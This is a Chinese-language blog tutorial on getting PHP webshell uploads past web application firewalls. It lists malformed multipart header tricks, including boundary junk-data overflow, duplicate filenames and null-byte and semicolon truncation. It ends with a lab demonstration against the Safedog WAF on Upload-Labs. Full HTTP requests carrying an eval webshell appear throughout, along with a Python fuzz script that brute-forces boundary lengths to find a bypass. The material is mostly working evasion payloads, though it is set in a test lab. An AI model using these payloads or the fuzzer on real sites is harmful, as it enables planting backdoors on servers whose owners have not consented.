最全的文件上傳漏洞之WAF攔截繞過總結
文件上傳數據包解析
文件上傳實質上還是客戶端的POST請求,消息主體是一些上傳信息。前端上傳頁面需要指定 enctype為multipart/from-data才能正常上傳文件。
一個正常的文件上傳數據包大致如下:
POST http://www.example.com HTTP/1.1 Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryyb1zYhTI38xpQxBK ------WebKitFormBoundaryyb1zYhTI38xpQxBK Content-Disposition: form-data; name="city_id" 1 ------WebKitFormBoundaryyb1zYhTI38xpQxBK Content-Disposition: form-data; name="company_id" 2 ------WebKitFormBoundaryyb1zYhTI38xpQxBK Content-Disposition: form-data; name="file"; filename="chrome.png" Content-Type: image/png PNG ... content of chrome.png ... ------WebKitFormBoundaryyb1zYhTI38xpQxBK--
從中獲取特征為:
?請求Header中Content-Type存在以下特征:
?multipart/form-data:表示該請求是一個文件上傳請求
?存在boundary字符串:作用為分隔符,以區分POST數據
?POST的內容存在以下特征:
?Content-Disposition:響應標頭是指示內容是否預期在瀏覽器中內聯顯示的標題。
?name:包含該字段的內容引用的 HTML 字段的名稱。
?filename:后面是一個包含傳輸文件的原始名稱的字符串。
?POST中的boundary的值就是Content-Type的值在最前面加了兩個--,除了最后標識結束的boundary
?最后標識結束的boundary最后默認會多出兩個--(測試時,最后一行的boundary刪掉也能成功上傳)
文件上傳在數據包中可修改的地方
?Content-Disposition:一般可更改
?name:表單參數值,不能更改
?filename:文件名,可以更改
?Content-Type:文件 MIME,視情況更改
?boundary:內容劃分,可以更改
WAF如何攔截惡意文件
可以先自己想象一下,如果讓你來寫WAF,你會從哪幾個角度去防御。
?文件名
?解析文件名,判斷是否在黑名單內。
?文件內容
?解析文件內容,判斷是否為webshell。
?文件目錄權限
?該功能需要主機WAF實現。
目前,市面上常見的是解析文件名,少數WAF是解析文件內容,比如長亭。下面內容,都是基于文件名解析。
大致步驟如下:
1.獲取Request Header里的Content-Type值中獲取boundary值
2.根據第一步的boundary值,解析POST數據,獲取文件名
3.判斷文件名是否在攔截黑名單內/白名單外
了解了WAF如何對惡意文件進行攔截之后,我將常見的繞過方法分為如下幾類,最后再使用目前最新版的安全狗進行繞過演示。
字符變異
引號變換
頭部字段的值既可以添加單引號也可以添加雙引號還可以不加引號,都不會影響上傳結果。
Content-Disposition: "form-data"; name=file_x; filename="xx.php" Content-Disposition: form-data; name=file_x; filename="xx.php" Content-Disposition: form-data; name=file_x; filename=xx.php Content-Disposition: form-data; name="file_x"; filename=xx.php Content-Disposition: form-data; name='file_x'; filename='xx.php' Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'
可以去除掉filename字符串中末尾的引號,也能夠正常上傳
Content-Disposition: form-data; name="file_x"; filename="xx.php Content-Disposition: form-data; name="file_x"; filename='xx.php Content-Disposition: form-data; name="file_x"; filename="xx.php;
大小寫變換
對這三個固定的字符串進行大小寫轉換
?Content-Disposition
?name
?filename
比如name轉換成Name,Content-Disposition轉換成content-disposition。
添加換行符
字段值與等號之間可以加入換行符,依然可以正常上傳,下面我使用[0x09]代替換行符
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php" Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09] Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];
多個分號
文件解析時,可能因為分號解析不到文件名,導致繞過。
Content-Disposition: form-data; name="file_x";;; filename="test.php"
多個等號
在POST的內容中使用多個等號對文件上傳也沒有影響。
Content-Disposition: form-data; name=="file_x"; filename===="test.php"
變換Content-Disposition的值
某些WAF在解析的時候,認為Content-Disposition值一定是form-data,造成繞過。其實Content-Disposition可以任意變換或為空。
Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php" Content-Disposition: form-da+ta; name="file_x"; filename="xx.php" Content-Disposition: fo r m-dat a; name="file_x"; filename="xx.php" Content-Disposition: form-dataxx; name="file_x"; filename="xx.php" Content-Disposition: name="file_x"; filename="xx.php"
畸形的boundary頭部
boundary可以變化為如下形式,且不影響上傳:
正常的boundary:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111
畸形的boundary:
?multipart/form-data大小寫可變:
Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
?multipart/form-data與boundary之間可以使用空格分隔,且中間可以插入任何值:
Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111 Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111 Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111 Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111
?multipart/form-data與boundary之間可以使用逗號分隔,且中間可以插入任何值:
Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111 Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111 Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111 Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111
?boundary之前可以直接加入任何值(PHP可行):
Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,bypass&123**{|}boundary=----WebKitFormBoundarye111
?boundary末尾可以使用逗號或分號隔開插入任何值
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc
順序顛倒
交換name和filename的順序
因為規定了Content-Disposition必須在最前面,所以只能交換name和filename的順序。
有的WAF可能會匹配name在前面,filename在后面,可以導致繞過。
Content-Disposition: form-data; filename="xx.php"; name="file_x"
交換Content-Disposition和Content-Type的順序
與上述一樣,Content-Disposition和Content-Type也是能夠交換順序的。
Content-Type: image/png Content-Disposition: form-data; name="upload_file"; filename="shell.php"
交換不同boundary內容的順序
不同boundary內容也能夠交換,且不影響文件上傳
------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="submit" 上傳 ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: image/png ------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
數據重復
boundary內容重復
最后上傳的文件是shell.php而非shell.jpg,但是如果取的文件名時只取了第一個就會被Bypass。
------WebKitFormBoundarymeEzpUTMsmOfjwAA Content-Disposition: form-data; name="upload_file"; filename="shell.jpg" Content-Type: image/png ------WebKitFormBoundarymeEzpUTMsmOfjwAA Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: image/png ------WebKitFormBoundarymeEzpUTMsmOfjwAA Content-Disposition: form-data; name="submit" 上傳 ------WebKitFormBoundarymeEzpUTMsmOfjwAA--
下面這樣也是可以正常上傳的
------WebKitFormBoundarymeEzpUTMsmOfjwAA ------WebKitFormBoundarymeEzpUTMsmOfjwAA-- ------WebKitFormBoundarymeEzpUTMsmOfjwAA;123 ------WebKitFormBoundarymeEzpUTMsmOfjwAA Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: image/png ------WebKitFormBoundarymeEzpUTMsmOfjwAA Content-Disposition: form-data; name="submit" 上傳 ------WebKitFormBoundarymeEzpUTMsmOfjwAA--
filename重復
最終上傳成功的文件名是shell.php。但是由于解析文件名時,會解析到第一個。正則默認都會匹配到第一個。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
數據溢出
name與filename之間插入垃圾數據
name與filename之間插入大量垃圾數據。
POST /Pass-02/index.php HTTP/1.1 Host: hackrock.com:813 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf Connection: close ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf; filename="shell.php" Content-Type: image/png @eval($_POST['x']);?> ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="submit" 上傳 ------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
注:需在大量垃圾數據后加“;”
boundary字符串中加入垃圾數據
boundray字符串的值可以為任何數據(有一定的長度限制),當長度達到WAF無法處理時,而Web服務器又能夠處理,那么就可以繞過WAF上傳文件。
POST /Pass-01/index.php HTTP/1.1 Host: hackrock.com:813 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9 Connection: close ------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9 Content-Disposition: form-data; name="upload_file";filename="shell.php" Content-Type: image/png @eval($_POST['x']);?> ------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9 Content-Disposition: form-data; name="submit" 上傳 ------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--
boundray末尾插入垃圾數據
剛才講到過boundary末尾可以插入任何數據,那么就可以在boundary字符串末尾加入大量垃圾數據。
POST /Pass-01/index.php HTTP/1.1 Host: hackrock.com:813 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9 Connection: close Content-Length: 592 ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: image/png @eval($_POST['x']);?> ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="submit" 上傳 ------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
multipart/form-data與boundary之間插入垃圾數據
剛才講到過multipart/form-data與boundary之間可以插入任何數據,那么就可以在multipart/form-data與boundary之間加入大量垃圾數據。
POST /Pass-01/index.php HTTP/1.1 Host: hackrock.com:813 Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf Connection: close Content-Length: 319 ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: image/png @eval($_POST['x']);?> ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="submit" 上傳 ------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
數據截斷
回車換行截斷
POST請求頭的值(不是請求頭)是可以換行的,但是中間不得有空行。若WAF匹配文件名到換行截止,則可以繞過。
Content-Disposition: for m-data; name="upload_ file"; fi le name="sh ell.p h p"
分號截斷
若WAF匹配文件名到分號截止,則可以繞過。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
引號截斷
php<5.3 單雙引號截斷特性。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php" Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
00截斷
在url中%00表示ascll碼中的0 ,而ascii中0作為特殊字符保留,所以當url中出現%00時就會認為讀取已結束。這里使用[0x00]代替16進制的00字符
Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
實戰-繞過安全狗文件上傳
實驗環境
靶場:Upload-Labs(Pass-1)
數據庫:MySQL 5.5
Web腳本:PHP 5.4.19
WAF:網站安全狗(Apache版)v4.0.3025
在測試時,網站安全狗僅開啟上傳防護,否則會因為誤報刪除靶場文件。

image-20220122153541822
實戰一 - 編寫Fuzz腳本利用數據溢出繞過
由于boundary字符串中可以加入大量垃圾數據,這里就編寫了一個Fuzz腳本進行測試能否繞過:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import random
url="http://hackrock.com:813/Pass-01/index.php"
def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
for i in range(10,8000,50):
stri = generate_random_str(i)
try:
headers = {
"Host":"hackrock.com:813",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
"Referer":"http://hackrock.com:813/Pass-01/index.php",
"Content-Type":"multipart/form-data; boundary=----" + stri
}
payload = """
------""" + stri +"""
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
------""" + stri + """
Content-Disposition: form-data; name="submit"
上傳
------""" + stri + """--
"""
response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
result = response.content
print result
print stri
print ""
#print payload
#print headers
if result.count('上傳'):
print "Length is : %s " % str(i)
break
except:
print "."
這里使用的是python2.7進行編寫,運行時確保裝有python2的環境以及python庫。
最后測出的結果如下,長度為3710個字符:

image-20220122154848589
雖然并沒有幫我們上傳上去,但是可以成功繞過安全狗攔截。
我們將構造好的數據包放進Burp試試:

image-20220122155843047
成功繞過。
實戰二 - 利用00截斷繞過
上傳文件,使用Burp抓包,將filename的值改為:shell.php;.jpg

image-20220122160953684
然后打開hex,(分號的16進制為0x3b)修改16進制內容,把3b改成00:

image-20220122161153160
發送數據。

image-20220122161340032
成功繞過。